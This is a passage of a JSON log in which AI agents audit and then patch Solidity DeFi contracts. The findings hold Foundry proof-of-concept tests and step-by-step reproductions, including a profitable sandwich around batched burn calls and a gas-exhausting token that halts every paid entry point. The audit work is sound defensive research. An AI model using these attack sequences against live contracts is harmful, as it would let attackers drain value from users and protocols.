each route is floored at the pre-swap quote.\ncontract BatchedBurnSandwichTest is Test {\n    address constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n    Token imd;\n    Token imd6900;\n    PoolManager pm;\n    Adder adder;\n    LARPBurner burner;\n    V4PoolKey pool4;\n\n    receive() external payable {}\n\n    function setUp() public {\n        imd = new Token(\"IMD\");\n        imd6900 = new Token(\"IMD6900\");\n        pm = new PoolManager(address(this));\n        adder = new Adder(IPoolManager(address(pm)));\n        imd.mint(address(this), 1e30);\n        imd.approve(address(adder), type(uint256).max);\n        vm.deal(address(this), 10_000 ether);\n\n        pool4 = V4PoolKey(Currency.wrap(address(0)), Currency.wrap(address(imd)), 10_000, 60, IHooks(address(0)));\n        pm.initialize(pool4, TickMath.getSqrtPriceAtTick(76_020));\n        adder.add{value: 1_000 ether}(pool4, 1e21);\n\n        burner = new LARPBurner(\n            address(pm), address(imd), 10_000, 60, address(0), 10_000, 200, address(imd6900), 0, 60, address(0)\n        );\n    }\n\n    function test_ASandwichAroundBatchedBurnCallsMustNotPay() public {\n        vm.deal(address(burner), 1 ether); // royalties that arrived through `receive`, not yet burned\n        Sandwicher s = new Sandwicher(IPoolManager(address(pm)), burner, imd, pool4);\n        vm.deal(address(s), 10 ether);\n        s.attack(10 ether, 10);\n        assertLe(\n            address(s).balance,\n            10 ether,\n            \"a sandwich around burn calls batched in one transaction must not pay (MAX_BURN is meant to make it unprofitable)\"\n        );\n    }\n\n    /// @dev The case the cap was designed for: the same front-run around ONE burn call loses.\n    function test_Control_OneBurnCallIsBelowBreakEven() public {\n        vm.deal(address(burner), 1 ether);\n        Sandwicher s = new Sandwicher(IPoolManager(address(pm)), burner, imd, pool4);\n        vm.deal(address(s), 10 ether);\n        s.attack(10 ether, 1);\n        assertLt(address(s).balance, 10 ether, \"one 0.1 ETH burn is not worth sandwiching\");\n    }\n}","reproduction":"State: local PoolManager; POOL4 at test/Base.sol's depth (liquidity 1e21 at tick 76020, ~22 ETH / ~44,700 IMD of virtual reserves, 1 ETH ~ 2,000 IMD, 1% fee); the burner holds 1 ETH (vm.deal, standing for royalties that arrived through receive()). Honest path, measured: ten separate burn(0) calls send 1,897.39 IMD to DEAD. Attack, one transaction from a searcher contract: (1) swap 10 ETH -> IMD on POOL4; (2) call burner.burn(0) ten times (each passes the cap check with eth = 0.1 ether and the lock, cleared between calls); (3) sell all the IMD back. Expected (per LARPBurner.sol:42-43 / AUDIT.md L-04): the sandwich does not pay and the 1 ETH buys ~1,897 IMD for DEAD. Actual, measured: the searcher's ETH goes 10.000 -> 10.347166138828315366 (+0.347 ETH) and 923.37 IMD reach DEAD (-51%). Control: the same 10 ETH front-run around ONE burn call ends at 9.882377 ETH (unprofitable), the case the cap was designed for. Proof: test/scratch/Proof_BatchedBurnSandwich.t.sol, test_ASandwichAroundBatchedBurnCallsMustNotPay fails on this code with '10347166138828315366 > 10000000000000000000'; its control passes.","severity":"medium","snippet":"        if (eth > MAX_BURN) eth = MAX_BURN;","title":"MAX_BURN caps one call, not one transaction: batched burn(0) calls sell all the ETH waiting in the burner at one sandwiched price"},{"citation":"resolved","description":"Reported by audit_economics; reproduced. _checkStep accepts to == from (and _checkBounds only checks the band and the ordering), so anyone can propose the current prices or a 1 wei change. The swarm judges only whether the proposed prices meet the guidelines, which the current prices do whenever they are in band, so such a proposal is approved. execute (lines 203-206) then unconditionally sets Status.Executed, ++epoch and lastChange = block.timestamp although prices did not change. Consequences, both permissionless: every other proposal approved against the same epoch reverts Stale for good (its 14-day window cannot outlive the epoch), so whoever executes first in a week chooses the week's change and a griefer can front-run the community's execute; and the 7-day cooldown is consumed by a no-op, so a real change approved the next day waits a full week, by which time another approved no-op is ready. Cost: one oracle fee (0.5 IMD) per week. The brief's guarantee ('prices change only by the swarm's verdict within the guardrails') still holds, but price governance can be stalled, or steered by whoever wins the execute race, at trivial cost. Fix: reject a proposal whose prices equal the current ones, and in execute only bump epoch and lastChange when the prices actually change; or let execute apply the approved proposal with the highest number so a later approval cannot be pre-empted by an earlier one.","line":224,"path":"src/SwarmPrices.sol","reproduction":"State: initial prices (0.0069, 0.00169, 0.00069, 0.00069 ETH), the mock Intake from test/Base.sol, verdicts signed by the test's oracle key for the names contract (panel 9, quorum 7, agreed 9). (1) proposer: names.propose(Prices(0.00345e18, 0.000845e18, 0.000345e18, 0.000345e18), 0.5e18) -> id cut. (2) griefer: names.propose(Prices(0.0069e18, 0.00169e18, 0.00069e18, 0.00069e18), 0.5e18), identical to the current prices -> id noop; it does not revert. (3) The Intake delivers an approving attestation for both: both Approved. (4) griefer: names.execute(noop): succeeds; prices() unchanged; epoch() == 1; lastChange() == block.timestamp. (5) names.execute(cut) reverts Stale(). (6) proposer proposes the cut again (cut2), it is approved; names.execute(cut2) reverts Cooling(). Expected: a change that changes nothing neither consumes the week's one change nor invalidates other approved proposals. Actual: it does both. Scratch test test/scratch/Review.t.sol, test_NoOpProposalConsumesTheWeekAndStrandsTheRealOne, passes on this code (the sequence runs exactly as described).","severity":"low","snippet":"        if (to > from * 2 || to * 2 < from) revert OutOfBounds();","title":"A proposal that changes nothing passes the guardrails; executing it bumps the epoch and restarts the cooldown, stranding every other approved proposal for 0.5 IMD a week"},{"citation":"resolved","description":"One finding merged from audit_economics (low) and audit_permissions (medium); reproduced. IMDNames.royaltyInfo (src/IMDNames.sol:293-295) names the burner as the ERC-2981 receiver of 6.9% of every sale, and the burner's stated purpose is that every fee and royalty 'leaves only burned' (NatSpec lines 35-41). Marketplaces pay the royalty in the sale's currency, and accepted offers on Seaport/OpenSea and Blur settle in WETH, so a large share of secondary-sale royalties arrives as WETH. The burner can only move ETH (burn swaps address(this).balance) and $IMD (_burnImd reads _imdHeld() and sends the rest to DEAD); any other token has no exit: no owner, no sweep, no WETH withdraw, and the protocol forbids upgrades. Severity low rather than the permissions specialist's medium: the value is permanently stranded, but it belongs to no user (the seller paid it either way) and benefits no attacker; what is lost is the buy-and-burn of $IMD the design promises for it. AUDIT.md L-06 covers markets that skip royalties and I-10 only ETH; the honoured WETH royalty is the uncovered case. Fix without changing interfaces or constructor arguments: in burn, before reading the balance, if the canonical WETH9 (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 on Ethereum, a constant) holds a balance for the burner, call its withdraw(balance) (the burner has receive), so WETH royalties join the ETH and are sold on the same call.","line":222,"path":"src/LARPBurner.sol","reproduction":"State: the burner deployed as in the manifest, POOL4 live. (1) names.royaltyInfo(1, 10 ether) returns (burner, 0.69 ether). (2) A WETH-settled sale pays it: weth.transfer(burner, 0.69e18) (in the scratch test a MockERC20 stands in for WETH9). (3) From any account, burner.burn(0) then burner.burnImd(): both succeed. Expected: the royalty is converted and burned like an ETH or $IMD fee. Actual: weth.balanceOf(burner) is still 0.69e18; the burner's ABI (receive, burn, burnImd, quoteImd, unlockCallback, the last only callable by the PoolManager for the burner's own routes, which move only ETH, $IMD and IMD6900) has no function that reads or moves it, and no role exists that could. Scratch test test/scratch/Review.t.sol, test_AWethRoyaltyIsStuckInTheBurner, passes on this code (the token stays).","severity":"low","snippet":"        uint256 held = _imdHeld();","title":"Royalties paid in WETH (or any ERC-20 other than $IMD) are stuck in the burner forever: neither burned nor recoverable"},{"citation":"resolved","description":"Reported by audit_math; reproduced through IMDNames.register. SwarmPrices lets any price reach MAX_PRICE = 1 ether through 2x weekly steps, while LARPBurner.burn spends at most MAX_BURN = 0.1 ether per call (eth = min(balance, MAX_BURN), line 153). register forwards the whole price with burn{value: price}(minImd) (link forwards the toll and LARPLinks.foundCrew the crew price the same way); the burn buys $IMD with only 0.1 ETH, compares that purchase with the payer's minImd, and leaves the remainder in the burner: no Parked event (imd > 0), and the surplus is then spent by anyone's burn(0) with no slippage floor (which is what finding 2 exploits). The invariant 'a fee leaves the burner only under the payer's minImd' holds for prices up to 0.1 ETH and silently stops above it: an honest payer with a floor near the quote cannot register at all (TooLittleIMD), one with a low floor overpays into the parked balance. Paying the same price in $IMD (registerWithImd) burns the whole amount at once, so the two payment paths differ above the cap. Low: it needs four swarm-approved doublings (outside the stated pricing guidelines) and the exposure per burn(0) is the 0.1 ETH already analysed in L-04. If the invariant is meant to hold: cap MAX_PRICE at MAX_BURN, or loop the ETH route in burn until the payment is spent (each leg exact-or-nothing, keeping the per-leg cap).","line":109,"path":"src/IMDNames.sol","reproduction":"State: POOL4 and the backup pool live (liquidity 1e21 each); four proposals doubling prices.short (0.0069 -> 0.0138 -> 0.0276 -> 0.0552 -> 0.1104 ETH), each approved by a signed verdict and executed a week apart (each passes _checkStep and _checkBounds). Then names.priceOf('kek') == 0.1104 ether > burner.MAX_BURN(). Call 1: alice, names.register{value: 0.1104 ether}(label, alice, minImd) with minImd = burner.quoteImd(0.1104 ether) * 97 / 100. Expected (by the minImd contract): the 0.1104 ETH buys at least minImd $IMD or the call reverts for a price reason. Actual: reverts TooLittleIMD, because only 0.1 ETH was swapped. Call 2: the same with minImd = 0: succeeds, Bought(0.1 ether, imd, 0) and no Parked event, and address(burner).balance == 0.0104 ether. Call 3: carol, burner.burn(0): spends it with no floor; balance 0. Scratch test test/scratch/Review.t.sol, test_APriceAboveMaxBurnIsOnlyPartlyBoughtUnderMinImd, passes on this code (the sequence runs as described).","severity":"low","snippet":"        LARPBurner(payable(BURNER)).burn{value: price}(minImd);","title":"MAX_PRICE (1 ETH) exceeds MAX_BURN (0.1 ETH): a fee above 0.1 ETH is only partly bought under the payer's minImd, and the rest is parked without an event for anyone's burn(0)"},{"citation":"resolved","description":"One note merged from write_foundry_tests, audit_math and audit_flow; reproduced. The comment on the Attestation struct, and AUDIT.md line 136 ('The callback selector 0x510379c7 matches IMD's docs'), cite 0x510379c7. That is the selector of the oracle reference's example name onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes). This contract's callback is named onVerdict, whose selector is 0x8bf09c1b, and that is what propose registers with the Intake (IIntake.Callback(address(this), this.onVerdict.selector)), so delivery works and there is no functional defect; the parameter layout is the protocol's. Anyone who hard-codes 0x510379c7 from the comment (a monitoring tool, a manual delivery) would call a function that does not exist. Documentation fix only: name the contract's own selector, or say the name is the consumer's and only the parameter types are fixed.","line":22,"path":"src/SwarmPrices.sol","reproduction":"cast sig 'onVerdict(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)' prints 0x8bf09c1b; cast sig of the same parameters under the name onOracleResult prints 0x510379c7. In Solidity, SwarmPrices.onVerdict.selector == 0x8bf09c1b != 0x510379c7 (test/scratch/Review.t.sol, test_TheCommentedSelectorIsNotOnVerdicts). Expected: the comment and AUDIT.md name the selector the contract registers. Actual: both cite a differently named function's.","severity":"info","snippet":"/// @dev IMD's OracleAttestation, field for field (the callback selector 0x510379c7 depends on this layout).","title":"The documented verdict callback selector 0x510379c7 is onOracleResult's, not onVerdict's (0x8bf09c1b)"}],"hash":"20edb3cbfab4f7d0ee58ff4c9bee855610810b17b109a4be80ec0a0400110106","nodeId":"94ce9c5d-6973-4c22-aaf4-e7093adeaa9e","outcome":"completed","summary":"Review complete. The findings file holds six substantiated findings and a coverage row for all 42 entry points plus three invariants, and no tracked file changed.\n\n**What I kept, after reproducing each against the code**\n\n1. **Medium, with proof.** A gas-exhausting IMD6900 (or a hook on a burn route) makes every burn revert `TooLittleGas` at any gas limit. The specialist's proof fails on this code with that selector for both `burn` and `burnImd`, so every registration, toll and crew founding halts after one third-party upgrade. AUDIT.md's trust table claims the opposite. Anchored at `src/LARPBurner.sol:247`.\n2. **Medium, with proof.** The 0.1 ETH burn cap is per call, not per transaction. Merged from the economics and permissions specialists. On the repository's own pool depth, ten batched `burn(0)` calls inside one sandwich took the searcher from 10 to 10.347 ETH and halved the IMD burned, while the single-call control loses. My self-contained proof at `test/scratch/Proof_BatchedBurnSandwich.t.sol` fails here and its control passes.\n3. **Low.** A proposal equal to the current prices passes the guardrails, and executing it bumps the epoch and restarts the cooldown. Reproduced: the real cut reverts `Stale`, then its re-proposal reverts `Cooling`.\n4. **Low.** WETH or any other ERC-20 royalty is stuck in the burner forever. Merged from two specialists. I lowered the permissions specialist's medium because the value belongs to no user and benefits no attacker. The missed burn is the loss.\n5. **Low.** A price above the burn cap is only partly bought under the payer's floor. Reproduced end to end through four swarm-approved doublings and `register`: an honest floor reverts, a zero floor parks 0.0104 ETH with no event.\n6. **Info.** The commented callback selector is `onOracleResult`'s, not `onVerdict`'s. Three specialists reported it. Merged into one note.\n\n**What I checked myself and found holding**\n\n- The protocol's published conformance vector verifies through `onVerdict` at the vector address, and a one-field tamper is refused.\n- Every hard-coded selector in LARPLinks and SafeReads matches its function.\n- The manifest has the right shape, argument counts and order. All four contracts sit well inside both size limits.\n- Every slither and aderyn line was traced. None reproduced as a defect.\n\nThe two proofs are in the findings file and under `test/scratch/`, which is not kept.","treeHash":null,"usage":{"cachedInputTokens":2092289,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":69177,"runtime":"claude","turns":35,"wallClockMs":1502086}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"f0c4ae5b8ada215c","findings":[{"citation":"resolved","description":"_tryUnlock treats a failed try that left at most 1/4 of its gas as an out-of-gas and reverts the whole call. The try forwards 63/64 of the gas to POOL_MANAGER.unlock, and the IMD6900 leg ends in IBurnable(IMD6900).burn(out) (src/LARPBurner.sol:205) on an upgradeable token the IMD6900 timelock controls, through a hook the same timelock owns. If that code ever consumes all the gas it is given (an infinite loop, a buggy upgrade, a deliberately hostile one), the catch always sees gasleft() <= gasBefore/4, whatever gas the caller sent, so burn() and burnImd() can never complete. AUDIT.md's trust table says the opposite ('IMD6900 (upgradeable): if its burn refuses, the same: the share goes to 0x...dEaD as $IMD'). That holds only for a refusal that reverts cheaply; a refusal that eats gas is fatal, not skipped. Because IMDNames.register/registerWithImd/link/linkWithImd and LARPLinks.foundCrew/foundCrewWithImd all end in burner.burn or burner.burnImd and have no other payment path, every registration, toll and crew founding reverts for as long as the IMD6900 implementation behaves that way, and there is no owner, route switch or budget to recover: the protocol's revenue functions are halted by a third party's upgrade. The 1/63 -> 1/4 strengthening of L-01 widened this: before it, 30M gas would have left 1/64 (~470k) and the leg would have been skipped. Fix (keeps the brief's rule that out-of-gas swaps revert and L-01's rule that the IMD6900 buy cannot be skipped by sending little gas): give the TO_PAIR leg a fixed, generous gas budget (e.g. 5M, several times the ~800k measured for a heavy leg) in _tryUnlock (POOL_MANAGER.unlock{gas: PAIR_GAS}) and apply the 1/4 rule to that budget, so a leg that burns its whole budget is skipped (share to DEAD) while a caller still cannot starve it; or, equivalently, treat the IMD6900 leg's out-of-gas as a genuine failure only when the caller supplied at least the budget. Document the tradeoff in AUDIT.md.","line":247,"path":"src/LARPBurner.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockERC20} from \"forge-std/mocks/MockERC20.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey as V4PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {LARPBurner} from \"src/LARPBurner.sol\";\n\ncontract Token is MockERC20 {\n    constructor(string memory n) {\n        initialize(n, n, 18);\n    }\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev An IMD6900 implementation (the real one is upgradeable) whose `burn` never returns: it uses every unit of\n/// gas it is given, at any gas limit.\ncontract GasHogIMD6900 is Token {\n    constructor() Token(\"IMD6900\") {}\n\n    function burn(uint256) external pure {\n        while (true) {}\n    }\n}\n\ncontract Adder {\n    IPoolManager immutable pm;\n\n    constructor(IPoolManager pm_) {\n        pm = pm_;\n    }\n\n    function add(V4PoolKey memory key, int256 liquidity) external payable {\n        pm.unlock(abi.encode(key, liquidity, msg.sender));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (V4PoolKey memory key, int256 liquidity, address payer) = abi.decode(data, (V4PoolKey, int256, address));\n        (BalanceDelta delta,) = pm.modifyLiquidity(\n            key,\n            ModifyLiquidityParams(\n                TickMath.minUsableTick(key.tickSpacing), TickMath.maxUsableTick(key.tickSpacing), liquidity, 0\n            ),\n            \"\"\n        );\n        _pay(key.currency0, uint256(uint128(-delta.amount0())), payer);\n        _pay(key.currency1, uint256(uint128(-delta.amount1())), payer);\n        if (address(this).balance > 0) payable(payer).transfer(address(this).balance);\n        return \"\";\n    }\n\n    function _pay(Currency currency, uint256 amount, address payer) internal {\n        if (Currency.unwrap(currency) == address(0)) {\n            pm.settle{value: amount}();\n        } else {\n            pm.sync(currency);\n            Token(Currency.unwrap(currency)).transferFrom(payer, address(pm), amount);\n            pm.settle();\n        }\n    }\n\n    receive() external payable {}\n}\n\n/// @dev AUDIT.md's trust table says a hostile IMD6900 only costs the 6.9% share (\"if its burn refuses, the same: the\n/// share goes to 0x…dEaD\"). An IMD6900 whose `burn` eats all its gas makes `_tryUnlock`'s 1/4 guard fire at every gas\n/// limit, so `burn` and `burnImd` always revert TooLittleGas, and with them every paid entry point of IMDNames and\n/// LARPLinks. This test passes once a gas-eating IMD6900 leg is skipped (its share burned as $IMD) instead of fatal.\ncontract GasHogIMD6900Test is Test {\n    address constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n    Token imd;\n    GasHogIMD6900 imd6900;\n    PoolManager pm;\n    Adder adder;\n    LARPBurner burner;\n\n    receive() external payable {}\n\n    function setUp() public {\n        imd = new Token(\"IMD\");\n        imd6900 = new GasHogIMD6900();\n        pm = new PoolManager(address(this));\n        adder = new Adder(IPoolManager(address(pm)));\n        imd.mint(address(this), 1e30);\n        imd.approve(address(adder), type(uint256).max);\n        imd6900.mint(address(this), 1e33);\n        imd6900.approve(address(adder), type(uint256).max);\n        vm.deal(address(this), 10_000 ether);\n\n        V4PoolKey memory pool4 =\n            V4PoolKey(Currency.wrap(address(0)), Currency.wrap(address(imd)), 10_000, 60, IHooks(address(0)));\n        pm.initialize(pool4, TickMath.getSqrtPriceAtTick(76_020));\n        adder.add{value: 1_000 ether}(pool4, 1e21);\n\n        bool imdIs0 = address(imd) < address(imd6900);\n        V4PoolKey memory pair = imdIs0\n            ? V4PoolKey(Currency.wrap(address(imd)), Currency.wrap(address(imd6900)), 0, 60, IHooks(address(0)))\n            : V4PoolKey(Currency.wrap(address(imd6900)), Currency.wrap(address(imd)), 0, 60, IHooks(address(0)));\n        pm.initialize(pair, TickMath.getSqrtPriceAtTick(imdIs0 ? int24(92_100) : int24(-92_100)));\n        adder.add(pair, 1e23);\n\n        burner = new LARPBurner(\n            address(pm), address(imd), 10_000, 60, address(0), 10_000, 200, address(imd6900), 0, 60, address(0)\n        );\n    }\n\n    /// @dev A fee in ETH: with 30M gas (the block gas limit), the burn must go through with the IMD6900 leg skipped.\n    function test_AGasEatingIMD6900DoesNotBrickTheBurner() public {\n        uint256 deadBefore = imd.balanceOf(DEAD);\n        (bool ok, bytes memory err) =\n            address(burner).call{value: 0.0069 ether, gas: 30_000_000}(abi.encodeCall(burner.burn, (0)));\n        assertTrue(ok, string.concat(\"burn reverted: \", vm.toString(err)));\n        assertGt(imd.balanceOf(DEAD), deadBefore, \"the $IMD was burned\");\n        assertEq(address(burner).balance, 0, \"the ETH was spent\");\n    }\n\n    /// @dev A fee paid in $IMD (registerWithImd, linkWithImd, foundCrewWithImd all end in burnImd): the same.\n    function test_AGasEatingIMD6900DoesNotBrickBurnImd() public {\n        imd.mint(address(burner), 10 ether);\n        (bool ok, bytes memory err) = address(burner).call{gas: 30_000_000}(abi.encodeCall(burner.burnImd, ()));\n        assertTrue(ok, string.concat(\"burnImd reverted: \", vm.toString(err)));\n        assertEq(imd.balanceOf(DEAD), 10 ether, \"all of it went to DEAD\");\n    }\n}","reproduction":"State: POOL4 live with liquidity; the IMD6900/$IMD pair pool live with liquidity; IMD6900 is a contract whose burn(uint256) runs `while (true) {}` (the real token is a proxy, so this is one upgrade away). Call: LARPBurner.burn{value: 0.0069 ether, gas: 30_000_000}(0) (what IMDNames.register does with the fee). Expected per AUDIT.md: the ETH buys $IMD on POOL4, the 6.9% share's IMD6900 buy fails and that share goes to DEAD, the call succeeds. Actual: the call reverts with TooLittleGas (0x5dd42bb6) at every gas limit tried (1M, 6M, 11M, 16M, 21M, 26M, 30M; test/scratch/Probe.t.sol logged 'refused: 6'), so the registration reverts. Likewise imd.mint(burner, 10 ether); burner.burnImd{gas: 30_000_000}() reverts TooLittleGas, so registerWithImd/linkWithImd/foundCrewWithImd revert too. The attached proof fails on this code with 'burn reverted: 0x5dd42bb6' and 'burnImd reverted: 0x5dd42bb6'.","severity":"medium","snippet":"            if (gasleft() <= gasBefore / 4) revert TooLittleGas();","title":"A gas-exhausting IMD6900 (or pair-pool hook) makes every burn revert TooLittleGas at any gas limit, halting all paid entry points"},{"citation":"resolved","description":"0x510379c7 is keccak256('onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)')[:4], the example name in IMD's oracle reference. The contract's callback is named onVerdict, whose selector is 0x8bf09c1b, and that is what propose registers with the Intake (IIntake.Callback(address(this), this.onVerdict.selector)), so delivery works. Only the comment here and AUDIT.md line 136 ('The callback selector 0x510379c7 matches IMD's docs') are wrong; anyone who hard-codes 0x510379c7 (a monitoring tool, a manual delivery) would call a non-existent function. No functional defect: a note for the author to correct the comment and AUDIT.md. The struct layout and EIP-712 encoding were checked against the protocol's conformance vector (test/scratch/Probe.t.sol test_VectorSignatureVerifies: IMDNames at 0x...2748 on chain 11155111 accepts VECTOR_SIGNATURE from 0x7099...79C8), so the digest is the protocol's.","line":22,"path":"src/SwarmPrices.sol","reproduction":"cast sig 'onVerdict(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)' prints 0x8bf09c1b; cast sig of the same parameters under the name onOracleResult prints 0x510379c7. Expected: the comment and AUDIT.md name the contract's own selector. Actual: they name 0x510379c7.","severity":"info","snippet":"/// @dev IMD's OracleAttestation, field for field (the callback selector 0x510379c7 depends on this layout).","title":"The documented verdict callback selector 0x510379c7 is onOracleResult's, not onVerdict's (0x8bf09c1b)"}],"hash":"2ff2f1248e1dfcf8439880607389d14f6b154a1dba4f0f649e73f80ad82ef634","nodeId":"e7995b90-48ab-4a43-983c-5a8a7dfc5aa2","outcome":"completed","summary":"The review is complete. `.imd-findings.json` holds two findings and a coverage row for all 42 listed entry points plus five invariant and periphery rows. No source file was changed. The scratch tests are in `test/scratch/`, which is not kept.\n\n**Result: one medium finding, one informational note.** The full suite passes offline (145 tests), and the guides' failure modes for execution trace, periphery and first principles were checked against every contract.\n\n**Finding 1 (medium), `src/LARPBurner.sol:247`.** The gas guard in the burner's try/catch treats any failed leg that left at most a quarter of its gas as an out-of-gas and reverts the whole call. The IMD6900 leg ends in an upgradeable token's `burn` through a hook the same timelock owns. If that code ever consumes all the gas it is given, the guard fires at every gas limit, so `burn` and `burnImd` can never complete. Every paid entry point ends there with no other payment path, so registrations, tolls and crew founding all revert, and there is no owner or budget to recover. AUDIT.md's trust table claims a refusing IMD6900 only costs the 6.9% share, which holds for a cheap revert but not for a gas-eating one. The attached proof test fails on the current code at a 30M gas limit for both `burn` and `burnImd`. The suggested fix gives the IMD6900 leg a fixed generous gas budget and applies the quarter rule to that budget, which keeps the brief's out-of-gas rule and L-01's no-skip rule.\n\n**Finding 2 (info), `src/SwarmPrices.sol:22`.** The comment and AUDIT.md cite callback selector 0x510379c7, which belongs to the reference's example name `onOracleResult`. The contract's `onVerdict` has selector 0x8bf09c1b and registers itself correctly, so delivery works. Only the documentation is wrong.\n\n**Checked and holding, beyond the entry points:**\n- The EIP-712 verdict digest reproduces the protocol's published conformance vector: a harness at the vector address accepts the vector signature from the vector signer.\n- The jeet board's four external selectors were recomputed and match.\n- The burner's pool storage slots and `BalanceDelta` decoding match Uniswap v4 for both currency orders, and partial fills revert.\n- The name link and identity link mappings stay two-way through every writer, and the toll is due on every change of hands.\n- Constructors store arguments only, in the brief's order.\n\nSlither's and aderyn's leads were all checked. The strict-equality, unused-return, uninitialized-local and locked-ether lines are false positives in this code, and the reentrancy lines are guarded by the burner's transient lock and the Intake-only callbacks.","treeHash":null,"usage":{"cachedInputTokens":2342771,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":55873,"runtime":"claude","turns":34,"wallClockMs":945714}},{"artifacts":[],"attempt":1,"bundleHash":"f01204e498162567fa37bc81446fcf2bd10344df87d4b28e73dc9e9d9074eff4","device":"b5e3297a04468fd3","findings":[],"hash":"42d703992d49c2f3fed8222b8acf11bb9e1fa4aad198257c92cda37fdde2bb23","nodeId":"15e981b5-6103-4fa0-b3da-ad176809b612","outcome":"completed","summary":"The revision is complete and verified. Summary of what was reproduced, changed and answered:\n\n**Both required proofs reproduced and now pass.**\n- The gas-eating IMD6900 (id 0a267c38) made every burn revert with TooLittleGas at any gas limit. Fix in `src/LARPBurner.sol`: the legs that run third-party code (route 0 through POOL4's hook, the IMD6900 leg through its hook and proxy) run on a fixed 3M gas budget. A call that cannot fund the budget is refused before the leg runs, so a caller still cannot starve it. A leg that eats its whole budget is skipped like any other refusal, so no third party can halt the burner. The hookless route keeps the all-gas forwarding and the 1/4 rule. A burn now needs a gas limit of about 3.35M, which is documented.\n- The batched sandwich (id bb9c523e) sold all waiting ETH at one manipulated price. Fix: of the ETH already waiting, at most MAX_BURN leaves per block over all calls. A caller's own fee always goes through, and each call still spends at most MAX_BURN.\n\n**Advisory findings.**\n- WETH royalties stuck: fixed. The burn unwraps any WETH9 the burner holds first, via a constant address, so constructor arguments are unchanged and the constructor still calls nothing.\n- Selector comment: fixed in the source comment and AUDIT.md.\n- No-op proposal and the fee above MAX_BURN: reproduced but disputed, with reasons in the responses file and documented as AUDIT.md L-12 and L-13. The suggested fixes either leave the same hole open or change the requester's economics.\n\n**Tests.** Five new burner tests cover each change, and the four gas-sweep tests moved above the new budget. The full offline suite passes with an empty environment:\n\n| Run | Result |\n|---|---|\n| repository suite | 150 passed, 0 failed, 11 fork tests skipped |\n| three reviewer proofs in test/scratch | 6 passed |\n\nADAPTATION.md lists every change with its finding, README and AUDIT.md are updated, and `.imd-responses.json` answers all eight finding ids. No build configuration, dependency or launch.json was touched.","treeHash":"40e0185d668c0a9242cd9526212a7cb710d38d9e","usage":{"cachedInputTokens":2339890,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":69338,"runtime":"claude","turns":55,"wallClockMs":1279174}},{"artifacts":[],"attempt":1,"bundleHash":"a50cc2bc50f86e583fa350a2799fd90a2964f51aae98a9e88746bb3b34387d7c","device":"a5c5e95a2ed07117","findings":[{"description":"burn() records the waiting ETH it intends to sell in _burnBlock/_burnedInBlock before any route is tried (lines 182-185). When both routes then fail and the ETH parks (Parked emitted, nothing left the burner), the booking stands, so for the rest of that block no later burn(0) can sell the waiting ETH even if a route has meanwhile become able to take it (liquidity added, POOL4 brought back into range by a trade in the same block). A caller's own fee is unaffected and nothing is lost: the ETH sells in the next block. Observed, not fixed around: the invariant handler models this booking (test/LARPBurner.invariant.t.sol, _burn: 'the burner books the waiting ETH it took whether or not a route then took the trade') so the suite passes against the behaviour as it is, but no unit test asserts that a parked call should consume the allowance. Booking only after a route succeeded (set _burnedInBlock inside the `if (ok)` branch, or reset it when imd == 0) would keep L-10's guarantee (at most MAX_BURN of waiting ETH leaves per block) while not charging a block for ETH that never left.","line":182,"path":"src/LARPBurner.sol","reproduction":"Local PoolManager, POOL4 and the hookless pool initialized but empty, 0.3 ETH dealt to the burner (royalties waiting). Call burner.burn(0): both routes fail, Parked(0.1 ether) is emitted, balance stays 0.3 ETH. In the same block add liquidity to POOL4 (Base._fillPool4()) and call burner.burn(0) again. Expected (nothing left in the first call, so the block's allowance is intact): Bought(0.1 ether, >0, 0), balance 0.2 ETH. Actual: the call returns 0, emits nothing, balance stays 0.3 ETH; after vm.roll(block.number + 1) the same call sells 0.1 ETH.","severity":"info","title":"A burn whose routes both fail still books the waiting ETH against the block's MAX_BURN allowance"}],"hash":"4883ff4bc93016efe7a235e6c0e13be267ce621796ba8c180a02759d7eed0af2","nodeId":"8eb64fa4-8698-4708-8a81-4cb965a704bb","outcome":"completed","summary":"The findings file and scratch directory are excluded by the harness's own git exclude list, which is expected: the harness reads them from disk and strips scratch before anything is compared. Everything is in place.\n\n## Recap\n\n**What this revision was about.** The other node's accepted commit changed the burner after my tests were written: pre-existing ETH is now capped at MAX_BURN per block (not just per call), third-party legs run on a fixed 3M gas budget, and WETH royalties are unwrapped on each burn. Two of my tests encoded the old \"one cap per call\" rule and failed against the new code. No other suite was affected.\n\n**Changes, all within `test/`:**\n\n- `test/LARPBurnerEdges.t.sol`: the stale exact-MAX_BURN test now checks the same-block refusal and the next-block sale. Added tests for the block allowance counting only waiting ETH (not the caller's own fee), a fuzz over two burns in one block against the NatSpec's four stated guarantees, the gas budget at its edges (refused at 1M gas with nothing moved, while an empty burn and a 14-wei burnImd 